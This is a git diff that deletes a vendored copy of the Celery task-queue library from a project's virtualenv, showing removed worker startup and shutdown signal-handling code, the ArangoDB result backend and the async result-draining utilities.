for node in P: - maybe_call(self.on_send_signal, node, signal_name(sig)) - if not node.send(sig, self.on_node_signal_dead): - to_remove.add(node) - yield node - P -= to_remove - if retry: - maybe_call(self.on_still_waiting_for, P) - its = 0 - while P: - to_remove = set() - for node in P: - its += 1 - maybe_call(self.on_still_waiting_progress, P) - if not node.alive(): - maybe_call(self.on_node_shutdown_ok, node) - to_remove.add(node) - yield node - maybe_call(self.on_still_waiting_for, P) - break - P -= to_remove - if P and not its % len(P): - sleep(float(retry)) - maybe_call(self.on_still_waiting_end) - - def find(self, name): - for node in self: - if node.name == name: - return node - raise KeyError(name) - - def getpids(self, on_down=None): - for node in self: - if node.pid: - yield node - else: - maybe_call(on_down, node) - - def __repr__(self): - return '<{name}({0}): {1}>'.format( - len(self), saferepr([n.name for n in self]), - name=type(self).__name__, - ) - - @property - def data(self): - return self.nodes diff --git a/backend/venv/Lib/site-packages/celery/apps/worker.py b/backend/venv/Lib/site-packages/celery/apps/worker.py deleted file mode 100644 index 5558dab8..00000000 --- a/backend/venv/Lib/site-packages/celery/apps/worker.py +++ /dev/null @@ -1,509 +0,0 @@ -"""Worker command-line program. - -This module is the 'program-version' of :mod:`celery.worker`. - -It does everything necessary to run that module -as an actual application, like installing signal handlers, -platform tweaks, and so on. -""" -import logging -import os -import platform as _platform -import sys -from datetime import datetime -from functools import partial - -from billiard.common import REMAP_SIGTERM -from billiard.process import current_process -from kombu.utils.encoding import safe_str - -from celery import VERSION_BANNER, platforms, signals -from celery.app import trace -from celery.loaders.app import AppLoader -from celery.platforms import EX_FAILURE, EX_OK, check_privileges, isatty -from celery.utils import static, term -from celery.utils.debug import cry -from celery.utils.imports import qualname -from celery.utils.log import get_logger, in_sighandler, set_in_sighandler -from celery.utils.text import pluralize -from celery.worker import WorkController - -__all__ = ('Worker',) - -logger = get_logger(__name__) -is_jython = sys.platform.startswith('java') -is_pypy = hasattr(sys, 'pypy_version_info') - -ARTLINES = [ - ' --------------', - '--- ***** -----', - '-- ******* ----', - '- *** --- * ---', - '- ** ----------', - '- ** ----------', - '- ** ----------', - '- ** ----------', - '- *** --- * ---', - '-- ******* ----', - '--- ***** -----', - ' --------------', -] - -BANNER = """\ -{hostname} v{version} - -{platform} {timestamp} - -[config] -.> app: {app} -.> transport: {conninfo} -.> results: {results} -.> concurrency: {concurrency} -.> task events: {events} - -[queues] -{queues} -""" - -EXTRA_INFO_FMT = """ -[tasks] -{tasks} -""" - - -def active_thread_count(): - from threading import enumerate - return sum(1 for t in enumerate() - if not t.name.startswith('Dummy-')) - - -def safe_say(msg, f=sys.__stderr__): - if hasattr(f, 'fileno') and f.fileno() is not None: - os.write(f.fileno(), f'\n{msg}\n'.encode()) - - -class Worker(WorkController): - """Worker as a program.""" - - def on_before_init(self, quiet=False, **kwargs): - self.quiet = quiet - trace.setup_worker_optimizations(self.app, self.hostname) - - # this signal can be used to set up configuration for - # workers by name. - signals.celeryd_init.send( - sender=self.hostname, instance=self, - conf=self.app.conf, options=kwargs, - ) - check_privileges(self.app.conf.accept_content) - - def on_after_init(self, purge=False, no_color=None, - redirect_stdouts=None, redirect_stdouts_level=None, - **kwargs): - self.redirect_stdouts = self.app.either( - 'worker_redirect_stdouts', redirect_stdouts) - self.redirect_stdouts_level = self.app.either( - 'worker_redirect_stdouts_level', redirect_stdouts_level) - super().setup_defaults(**kwargs) - self.purge = purge - self.no_color = no_color - self._isatty = isatty(sys.stdout) - self.colored = self.app.log.colored( - self.logfile, - enabled=not no_color if no_color is not None else no_color - ) - - def on_init_blueprint(self): - self._custom_logging = self.setup_logging() - # apply task execution optimizations - # -- This will finalize the app! - trace.setup_worker_optimizations(self.app, self.hostname) - - def on_start(self): - app = self.app - super().on_start() - - # this signal can be used to, for example, change queues after - # the -Q option has been applied. - signals.celeryd_after_setup.send( - sender=self.hostname, instance=self, conf=app.conf, - ) - - if self.purge: - self.purge_messages() - - if not self.quiet: - self.emit_banner() - - self.set_process_status('-active-') - self.install_platform_tweaks(self) - if not self._custom_logging and self.redirect_stdouts: - app.log.redirect_stdouts(self.redirect_stdouts_level) - - # TODO: Remove the following code in Celery 6.0 - # This qualifies as a hack for issue #6366. - warn_deprecated = True - config_source = app._config_source - if isinstance(config_source, str): - # Don't raise the warning when the settings originate from - # django.conf:settings - warn_deprecated = config_source.lower() not in [ - 'django.conf:settings', - ] - - if warn_deprecated: - if app.conf.maybe_warn_deprecated_settings(): - logger.warning( - "Please run `celery upgrade settings path/to/settings.py` " - "to avoid these warnings and to allow a smoother upgrade " - "to Celery 6.0." - ) - - def emit_banner(self): - # Dump configuration to screen so we have some basic information - # for when users sends bug reports. - use_image = term.supports_images() - if use_image: - print(term.imgcat(static.logo())) - print(safe_str(''.join([ - str(self.colored.cyan( - ' \n', self.startup_info(artlines=not use_image))), - str(self.colored.reset(self.extra_info() or '')), - ])), file=sys.__stdout__, flush=True) - - def on_consumer_ready(self, consumer): - signals.worker_ready.send(sender=consumer) - logger.info('%s ready.', safe_str(self.hostname)) - - def setup_logging(self, colorize=None): - if colorize is None and self.no_color is not None: - colorize = not self.no_color - return self.app.log.setup( - self.loglevel, self.logfile, - redirect_stdouts=False, colorize=colorize, hostname=self.hostname, - ) - - def purge_messages(self): - with self.app.connection_for_write() as connection: - count = self.app.control.purge(connection=connection) - if count: # pragma: no cover - print(f"purge: Erased {count} {pluralize(count, 'message')} from the queue.\n", flush=True) - - def tasklist(self, include_builtins=True, sep='\n', int_='celery.'): - return sep.join( - f' . {task}' for task in sorted(self.app.tasks) - if (not task.startswith(int_) if not include_builtins else task) - ) - - def extra_info(self): - if self.loglevel is None: - return - if self.loglevel <= logging.INFO: - include_builtins = self.loglevel <= logging.DEBUG - tasklist = self.tasklist(include_builtins=include_builtins) - return EXTRA_INFO_FMT.format(tasks=tasklist) - - def startup_info(self, artlines=True): - app = self.app - concurrency = str(self.concurrency) - appr = '{}:{:#x}'.format(app.main or '__main__', id(app)) - if not isinstance(app.loader, AppLoader): - loader = qualname(app.loader) - if loader.startswith('celery.loaders'): # pragma: no cover - loader = loader[14:] - appr += f' ({loader})' - if self.autoscale: - max, min = self.autoscale - concurrency = f'{{min={min}, max={max}}}' - pool = self.pool_cls - if not isinstance(pool, str): - pool = pool.__module__ - concurrency += f" ({pool.split('.')[-1]})" - events = 'ON' - if not self.task_events: - events = 'OFF (enable -E to monitor tasks in this worker)' - - banner = BANNER.format( - app=appr, - hostname=safe_str(self.hostname), - timestamp=datetime.now().replace(microsecond=0), - version=VERSION_BANNER, - conninfo=self.app.connection().as_uri(), - results=self.app.backend.as_uri(), - concurrency=concurrency, - platform=safe_str(_platform.platform()), - events=events, - queues=app.amqp.queues.format(indent=0, indent_first=False), - ).splitlines() - - # integrate the ASCII art. - if artlines: - for i, _ in enumerate(banner): - try: - banner[i] = ' '.join([ARTLINES[i], banner[i]]) - except IndexError: - banner[i] = ' ' * 16 + banner[i] - return '\n'.join(banner) + '\n' - - def install_platform_tweaks(self, worker): - """Install platform specific tweaks and workarounds.""" - if self.app.IS_macOS: - self.macOS_proxy_detection_workaround() - - # Install signal handler so SIGHUP restarts the worker. - if not self._isatty: - # only install HUP handler if detached from terminal, - # so closing the terminal window doesn't restart the worker - # into the background. - if self.app.IS_macOS: - # macOS can't exec from a process using threads. - # See https://github.com/celery/celery/issues#issue/152 - install_HUP_not_supported_handler(worker) - else: - install_worker_restart_handler(worker) - install_worker_term_handler(worker) - install_worker_term_hard_handler(worker) - install_worker_int_handler(worker) - install_cry_handler() - install_rdb_handler() - - def macOS_proxy_detection_workaround(self): - """See https://github.com/celery/celery/issues#issue/161.""" - os.environ.setdefault('celery_dummy_proxy', 'set_by_celeryd') - - def set_process_status(self, info): - return platforms.set_mp_process_title( - 'celeryd', - info=f'{info} ({platforms.strargv(sys.argv)})', - hostname=self.hostname, - ) - - -def _shutdown_handler(worker: Worker, sig='SIGTERM', how='Warm', callback=None, exitcode=EX_OK, verbose=True): - """Install signal handler for warm/cold shutdown. - - The handler will run from the MainProcess. - - Args: - worker (Worker): The worker that received the signal. - sig (str, optional): The signal that was received. Defaults to 'TERM'. - how (str, optional): The type of shutdown to perform. Defaults to 'Warm'. - callback (Callable, optional): Signal handler. Defaults to None. - exitcode (int, optional): The exit code to use. Defaults to EX_OK. - verbose (bool, optional): Whether to print the type of shutdown. Defaults to True. - """ - def _handle_request(*args): - with in_sighandler(): - from celery.worker import state - if current_process()._name == 'MainProcess': - if callback: - callback(worker) - if verbose: - safe_say(f'worker: {how} shutdown (MainProcess)', sys.__stdout__) - signals.worker_shutting_down.send( - sender=worker.hostname, sig=sig, how=how, - exitcode=exitcode, - ) - setattr(state, {'Warm': 'should_stop', - 'Cold': 'should_terminate'}[how], exitcode) - _handle_request.__name__ = str(f'worker_{how}') - platforms.signals[sig] = _handle_request - - -def on_hard_shutdown(worker: Worker): - """Signal handler for hard shutdown. - - The handler will terminate the worker immediately by force using the exit code ``EX_FAILURE``. - - In practice, you should never get here, as the standard shutdown process should be enough. - This handler is only for the worst-case scenario, where the worker is stuck and cannot be - terminated gracefully (e.g., spamming the Ctrl+C in the terminal to force the worker to terminate). - - Args: - worker (Worker): The worker that received the signal. - - Raises: - WorkerTerminate: This exception will be raised in the MainProcess to terminate the worker immediately. - """ - from celery.exceptions import WorkerTerminate - raise WorkerTerminate(EX_FAILURE) - - -def during_soft_shutdown(worker: Worker): - """This signal handler is called when the worker is in the middle of the soft shutdown process. - - When the worker is in the soft shutdown process, it is waiting for tasks to finish. If the worker - receives a SIGINT (Ctrl+C) or SIGQUIT signal (or possibly SIGTERM if REMAP_SIGTERM is set to "SIGQUIT"), - the handler will cancels all unacked requests to allow the worker to terminate gracefully and replace the - signal handler for SIGINT and SIGQUIT with the hard shutdown handler ``on_hard_shutdown`` to terminate - the worker immediately by force next time the signal is received. - - It will give the worker once last chance to gracefully terminate (the cold shutdown), after canceling all - unacked requests, before using the hard shutdown handler to terminate the worker forcefully. - - Args: - worker (Worker): The worker that received the signal. - """ - # Replace the signal handler for SIGINT (Ctrl+C) and SIGQUIT (and possibly SIGTERM) - # with the hard shutdown handler to terminate the worker immediately by force - install_worker_term_hard_handler(worker, sig='SIGINT', callback=on_hard_shutdown, verbose=False) - install_worker_term_hard_handler(worker, sig='SIGQUIT', callback=on_hard_shutdown) - - # Cancel all unacked requests and allow the worker to terminate naturally - worker.consumer.cancel_all_unacked_requests() - - # We get here if the worker was in the middle of the soft (cold) shutdown process, - # and the matching signal was received. This can typically happen when the worker is - # waiting for tasks to finish, and the user decides to still cancel the running tasks. - # We give the worker the last chance to gracefully terminate by letting the soft shutdown - # waiting time to finish, which is running in the MainProcess from the previous signal handler call. - safe_say('Waiting gracefully for cold shutdown to complete...', sys.__stdout__) - - -def on_cold_shutdown(worker: Worker): - """Signal handler for cold shutdown. - - Registered for SIGQUIT and SIGINT (Ctrl+C) signals. If REMAP_SIGTERM is set to "SIGQUIT", this handler will also - be registered for SIGTERM. - - This handler will initiate the cold (and soft if enabled) shutdown procesdure for the worker. - - Worker running with N tasks: - - SIGTERM: - -The worker will initiate the warm shutdown process until all tasks are finished. Additional. - SIGTERM signals will be ignored. SIGQUIT will transition to the cold shutdown process described below. - - SIGQUIT: - - The worker will initiate the cold shutdown process. - - If the soft shutdown is enabled, the worker will wait for the tasks to finish up to the soft - shutdown timeout (practically having a limited warm shutdown just before the cold shutdown). - - Cancel all tasks (from the MainProcess) and allow the worker to complete the cold shutdown - process gracefully. - - Caveats: - - SIGINT (Ctrl+C) signal is defined to replace itself with the cold shutdown (SIGQUIT) after first use, - and to emit a message to the user to hit Ctrl+C again to initiate the cold shutdown process. But, most - important, it will also be caught in WorkController.start() to initiate the warm shutdown process. - - SIGTERM will also be handled in WorkController.start() to initiate the warm shutdown process (the same). - - If REMAP_SIGTERM is set to "SIGQUIT", the SIGTERM signal will be remapped to SIGQUIT, and the cold - shutdown process will be initiated instead of the warm shutdown process using SIGTERM. - - If SIGQUIT is received (also via SIGINT) during the cold/soft shutdown process, the handler will cancel all - unacked requests but still wait for the soft shutdown process to finish before terminating the worker - gracefully. The next time the signal is received though, the worker will terminate immediately by force. - - So, the purpose of this handler is to allow waiting for the soft shutdown timeout, then cancel all tasks from - the MainProcess and let the WorkController.terminate() to terminate the worker naturally. If the soft shutdown - is disabled, it will immediately cancel all tasks let the cold shutdown finish normally. - - Args: - worker (Worker): The worker that received the signal. - """ - safe_say('worker: Hitting Ctrl+C again will terminate all running tasks!', sys.__stdout__) - - # Replace the signal handler for SIGINT (Ctrl+C) and SIGQUIT (and possibly SIGTERM) - install_worker_term_hard_handler(worker, sig='SIGINT', callback=during_soft_shutdown) - install_worker_term_hard_handler(worker, sig='SIGQUIT', callback=during_soft_shutdown) - if REMAP_SIGTERM == "SIGQUIT": - install_worker_term_hard_handler(worker, sig='SIGTERM', callback=during_soft_shutdown) - # else, SIGTERM will print the _shutdown_handler's message and do nothing, every time it is received.. - - # Initiate soft shutdown process (if enabled and tasks are running) - worker.wait_for_soft_shutdown() - - # Cancel all unacked requests and allow the worker to terminate naturally - worker.consumer.cancel_all_unacked_requests() - - # Stop the pool to allow successful tasks call on_success() - worker.consumer.pool.stop() - - -# Allow SIGTERM to be remapped to SIGQUIT to initiate cold shutdown instead of warm shutdown using SIGTERM -if REMAP_SIGTERM == "SIGQUIT": - install_worker_term_handler = partial( - _shutdown_handler, sig='SIGTERM', how='Cold', callback=on_cold_shutdown, exitcode=EX_FAILURE, - ) -else: - install_worker_term_handler = partial( - _shutdown_handler, sig='SIGTERM', how='Warm', - ) - - -if not is_jython: # pragma: no cover - install_worker_term_hard_handler = partial( - _shutdown_handler, sig='SIGQUIT', how='Cold', callback=on_cold_shutdown, exitcode=EX_FAILURE, - ) -else: # pragma: no cover - install_worker_term_handler = \ - install_worker_term_hard_handler = lambda *a, **kw: None - - -def on_SIGINT(worker): - safe_say('worker: Hitting Ctrl+C again will initiate cold shutdown, terminating all running tasks!', - sys.__stdout__) - install_worker_term_hard_handler(worker, sig='SIGINT', verbose=False) - - -if not is_jython: # pragma: no cover - install_worker_int_handler = partial( - _shutdown_handler, sig='SIGINT', callback=on_SIGINT, - exitcode=EX_FAILURE, - ) -else: # pragma: no cover - def install_worker_int_handler(*args, **kwargs): - pass - - -def _reload_current_worker(): - platforms.close_open_fds([ - sys.__stdin__, sys.__stdout__, sys.__stderr__, - ]) - os.execv(sys.executable, [sys.executable] + sys.argv) - - -def install_worker_restart_handler(worker, sig='SIGHUP'): - - def restart_worker_sig_handler(*args): - """Signal handler restarting the current python program.""" - set_in_sighandler(True) - safe_say(f"Restarting celery worker ({' '.join(sys.argv)})", - sys.__stdout__) - import atexit - atexit.register(_reload_current_worker) - from celery.worker import state - state.should_stop = EX_OK - platforms.signals[sig] = restart_worker_sig_handler - - -def install_cry_handler(sig='SIGUSR1'): - # PyPy does not have sys._current_frames - if is_pypy: # pragma: no cover - return - - def cry_handler(*args): - """Signal handler logging the stack-trace of all active threads.""" - with in_sighandler(): - safe_say(cry()) - platforms.signals[sig] = cry_handler - - -def install_rdb_handler(envvar='CELERY_RDBSIG', - sig='SIGUSR2'): # pragma: no cover - - def rdb_handler(*args): - """Signal handler setting a rdb breakpoint at the current frame.""" - with in_sighandler(): - from celery.contrib.rdb import _frame, set_trace - - # gevent does not pass standard signal handler args - frame = args[1] if args else _frame().f_back - set_trace(frame) - if os.environ.get(envvar): - platforms.signals[sig] = rdb_handler - - -def install_HUP_not_supported_handler(worker, sig='SIGHUP'): - - def warn_on_HUP_handler(signum, frame): - with in_sighandler(): - safe_say('{sig} not supported: Restarting with {sig} is ' - 'unstable on this platform!'.format(sig=sig)) - platforms.signals[sig] = warn_on_HUP_handler diff --git a/backend/venv/Lib/site-packages/celery/backends/__init__.py b/backend/venv/Lib/site-packages/celery/backends/__init__.py deleted file mode 100644 index ae2b485a..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""Result Backends.""" diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c2e9229e..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/arangodb.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/arangodb.cpython-311.pyc deleted file mode 100644 index 74b864b8..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/arangodb.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/asynchronous.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/asynchronous.cpython-311.pyc deleted file mode 100644 index 031e79cd..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/asynchronous.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/azureblockblob.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/azureblockblob.cpython-311.pyc deleted file mode 100644 index c6aa2918..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/azureblockblob.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/base.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/base.cpython-311.pyc deleted file mode 100644 index 1a5ab42e..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/base.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/cache.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/cache.cpython-311.pyc deleted file mode 100644 index fa4a039e..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/cache.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/cassandra.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/cassandra.cpython-311.pyc deleted file mode 100644 index ffaadc93..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/cassandra.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/consul.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/consul.cpython-311.pyc deleted file mode 100644 index 0c79308a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/consul.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/cosmosdbsql.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/cosmosdbsql.cpython-311.pyc deleted file mode 100644 index 43085d70..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/cosmosdbsql.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/couchbase.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/couchbase.cpython-311.pyc deleted file mode 100644 index 4f63977e..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/couchbase.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/couchdb.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/couchdb.cpython-311.pyc deleted file mode 100644 index e1b7996f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/couchdb.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/dynamodb.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/dynamodb.cpython-311.pyc deleted file mode 100644 index 62b13570..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/dynamodb.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/elasticsearch.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/elasticsearch.cpython-311.pyc deleted file mode 100644 index 365ca449..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/elasticsearch.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/filesystem.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/filesystem.cpython-311.pyc deleted file mode 100644 index 27ab3814..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/filesystem.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/gcs.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/gcs.cpython-311.pyc deleted file mode 100644 index 3000e61f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/gcs.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/mongodb.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/mongodb.cpython-311.pyc deleted file mode 100644 index 83faece4..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/mongodb.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/redis.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/redis.cpython-311.pyc deleted file mode 100644 index 9e729cac..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/redis.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/rpc.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/rpc.cpython-311.pyc deleted file mode 100644 index 0afdc250..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/rpc.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/__pycache__/s3.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/__pycache__/s3.cpython-311.pyc deleted file mode 100644 index a307a347..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/__pycache__/s3.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/arangodb.py b/backend/venv/Lib/site-packages/celery/backends/arangodb.py deleted file mode 100644 index cc9cc48d..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/arangodb.py +++ /dev/null @@ -1,190 +0,0 @@ -"""ArangoDb result store backend.""" - -# pylint: disable=W1202,W0703 - -from datetime import timedelta - -from kombu.utils.objects import cached_property -from kombu.utils.url import _parse_url - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - from pyArango import connection as py_arango_connection - from pyArango.theExceptions import AQLQueryError -except ImportError: - py_arango_connection = AQLQueryError = None - -__all__ = ('ArangoDbBackend',) - - -class ArangoDbBackend(KeyValueStoreBackend): - """ArangoDb backend. - - Sample url - "arangodb://username:password@host:port/database/collection" - *arangodb_backend_settings* is where the settings are present - (in the app.conf) - Settings should contain the host, port, username, password, database name, - collection name else the default will be chosen. - Default database name and collection name is celery. - - Raises - ------ - celery.exceptions.ImproperlyConfigured: - if module :pypi:`pyArango` is not available. - - """ - - host = '127.0.0.1' - port = '8529' - database = 'celery' - collection = 'celery' - username = None - password = None - # protocol is not supported in backend url (http is taken as default) - http_protocol = 'http' - verify = False - - # Use str as arangodb key not bytes - key_t = str - - def __init__(self, url=None, *args, **kwargs): - """Parse the url or load the settings from settings object.""" - super().__init__(*args, **kwargs) - - if py_arango_connection is None: - raise ImproperlyConfigured( - 'You need to install the pyArango library to use the ' - 'ArangoDb backend.', - ) - - self.url = url - - if url is None: - host = port = database = collection = username = password = None - else: - ( - _schema, host, port, username, password, - database_collection, _query - ) = _parse_url(url) - if database_collection is None: - database = collection = None - else: - database, collection = database_collection.split('/') - - config = self.app.conf.get('arangodb_backend_settings', None) - if config is not None: - if not isinstance(config, dict): - raise ImproperlyConfigured( - 'ArangoDb backend settings should be grouped in a dict', - ) - else: - config = {} - - self.host = host or config.get('host', self.host) - self.port = int(port or config.get('port', self.port)) - self.http_protocol = config.get('http_protocol', self.http_protocol) - self.verify = config.get('verify', self.verify) - self.database = database or config.get('database', self.database) - self.collection = \ - collection or config.get('collection', self.collection) - self.username = username or config.get('username', self.username) - self.password = password or config.get('password', self.password) - self.arangodb_url = "{http_protocol}://{host}:{port}".format( - http_protocol=self.http_protocol, host=self.host, port=self.port - ) - self._connection = None - - @property - def connection(self): - """Connect to the arangodb server.""" - if self._connection is None: - self._connection = py_arango_connection.Connection( - arangoURL=self.arangodb_url, username=self.username, - password=self.password, verify=self.verify - ) - return self._connection - - @property - def db(self): - """Database Object to the given database.""" - return self.connection[self.database] - - @cached_property - def expires_delta(self): - return timedelta(seconds=0 if self.expires is None else self.expires) - - def get(self, key): - if key is None: - return None - query = self.db.AQLQuery( - "RETURN DOCUMENT(@@collection, @key).task", - rawResults=True, - bindVars={ - "@collection": self.collection, - "key": key, - }, - ) - return next(query) if len(query) > 0 else None - - def set(self, key, value): - self.db.AQLQuery( - """ - UPSERT {_key: @key} - INSERT {_key: @key, task: @value} - UPDATE {task: @value} IN @@collection - """, - bindVars={ - "@collection": self.collection, - "key": key, - "value": value, - }, - ) - - def mget(self, keys): - if keys is None: - return - query = self.db.AQLQuery( - "FOR k IN @keys RETURN DOCUMENT(@@collection, k).task", - rawResults=True, - bindVars={ - "@collection": self.collection, - "keys": keys if isinstance(keys, list) else list(keys), - }, - ) - while True: - yield from query - try: - query.nextBatch() - except StopIteration: - break - - def delete(self, key): - if key is None: - return - self.db.AQLQuery( - "REMOVE {_key: @key} IN @@collection", - bindVars={ - "@collection": self.collection, - "key": key, - }, - ) - - def cleanup(self): - if not self.expires: - return - checkpoint = (self.app.now() - self.expires_delta).isoformat() - self.db.AQLQuery( - """ - FOR record IN @@collection - FILTER record.task.date_done < @checkpoint - REMOVE record IN @@collection - """, - bindVars={ - "@collection": self.collection, - "checkpoint": checkpoint, - }, - ) diff --git a/backend/venv/Lib/site-packages/celery/backends/asynchronous.py b/backend/venv/Lib/site-packages/celery/backends/asynchronous.py deleted file mode 100644 index cedae501..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/asynchronous.py +++ /dev/null @@ -1,333 +0,0 @@ -"""Async I/O backend support utilities.""" -import socket -import threading -import time -from collections import deque -from queue import Empty -from time import sleep -from weakref import WeakKeyDictionary - -from kombu.utils.compat import detect_environment - -from celery import states -from celery.exceptions import TimeoutError -from celery.utils.threads import THREAD_TIMEOUT_MAX - -__all__ = ( - 'AsyncBackendMixin', 'BaseResultConsumer', 'Drainer', - 'register_drainer', -) - -drainers = {} - - -def register_drainer(name): - """Decorator used to register a new result drainer type.""" - def _inner(cls): - drainers[name] = cls - return cls - return _inner - - -@register_drainer('default') -class Drainer: - """Result draining service.""" - - def __init__(self, result_consumer): - self.result_consumer = result_consumer - - def start(self): - pass - - def stop(self): - pass - - def drain_events_until(self, p, timeout=None, interval=1, on_interval=None, wait=None): - wait = wait or self.result_consumer.drain_events - time_start = time.monotonic() - - while 1: - # Total time spent may exceed a single call to wait() - if timeout and time.monotonic() - time_start >= timeout: - raise socket.timeout() - try: - yield self.wait_for(p, wait, timeout=interval) - except socket.timeout: - pass - if on_interval: - on_interval() - if p.ready: # got event on the wanted channel. - break - - def wait_for(self, p, wait, timeout=None): - wait(timeout=timeout) - - -class greenletDrainer(Drainer): - spawn = None - _g = None - _drain_complete_event = None # event, sended (and recreated) after every drain_events iteration - - def _create_drain_complete_event(self): - """create new self._drain_complete_event object""" - pass - - def _send_drain_complete_event(self): - """raise self._drain_complete_event for wakeup .wait_for""" - pass - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self._started = threading.Event() - self._stopped = threading.Event() - self._shutdown = threading.Event() - self._create_drain_complete_event() - - def run(self): - self._started.set() - while not self._stopped.is_set(): - try: - self.result_consumer.drain_events(timeout=1) - self._send_drain_complete_event() - self._create_drain_complete_event() - except socket.timeout: - pass - self._shutdown.set() - - def start(self): - if not self._started.is_set(): - self._g = self.spawn(self.run) - self._started.wait() - - def stop(self): - self._stopped.set() - self._send_drain_complete_event() - self._shutdown.wait(THREAD_TIMEOUT_MAX) - - def wait_for(self, p, wait, timeout=None): - self.start() - if not p.ready: - self._drain_complete_event.wait(timeout=timeout) - - -@register_drainer('eventlet') -class eventletDrainer(greenletDrainer): - - def spawn(self, func): - from eventlet import sleep, spawn - g = spawn(func) - sleep(0) - return g - - def _create_drain_complete_event(self): - from eventlet.event import Event - self._drain_complete_event = Event() - - def _send_drain_complete_event(self): - self._drain_complete_event.send() - - -@register_drainer('gevent') -class geventDrainer(greenletDrainer): - - def spawn(self, func): - import gevent - g = gevent.spawn(func) - gevent.sleep(0) - return g - - def _create_drain_complete_event(self): - from gevent.event import Event - self._drain_complete_event = Event() - - def _send_drain_complete_event(self): - self._drain_complete_event.set() - self._create_drain_complete_event() - - -class AsyncBackendMixin: - """Mixin for backends that enables the async API.""" - - def _collect_into(self, result, bucket): - self.result_consumer.buckets[result] = bucket - - def iter_native(self, result, no_ack=True, **kwargs): - self._ensure_not_eager() - - results = result.results - if not results: - raise StopIteration() - - # we tell the result consumer to put consumed results - # into these buckets. - bucket = deque() - for node in results: - if not hasattr(node, '_cache'): - bucket.append(node) - elif node._cache: - bucket.append(node) - else: - self._collect_into(node, bucket) - - for _ in self._wait_for_pending(result, no_ack=no_ack, **kwargs): - while bucket: - node = bucket.popleft() - if not hasattr(node, '_cache'): - yield node.id, node.children - else: - yield node.id, node._cache - while bucket: - node = bucket.popleft() - 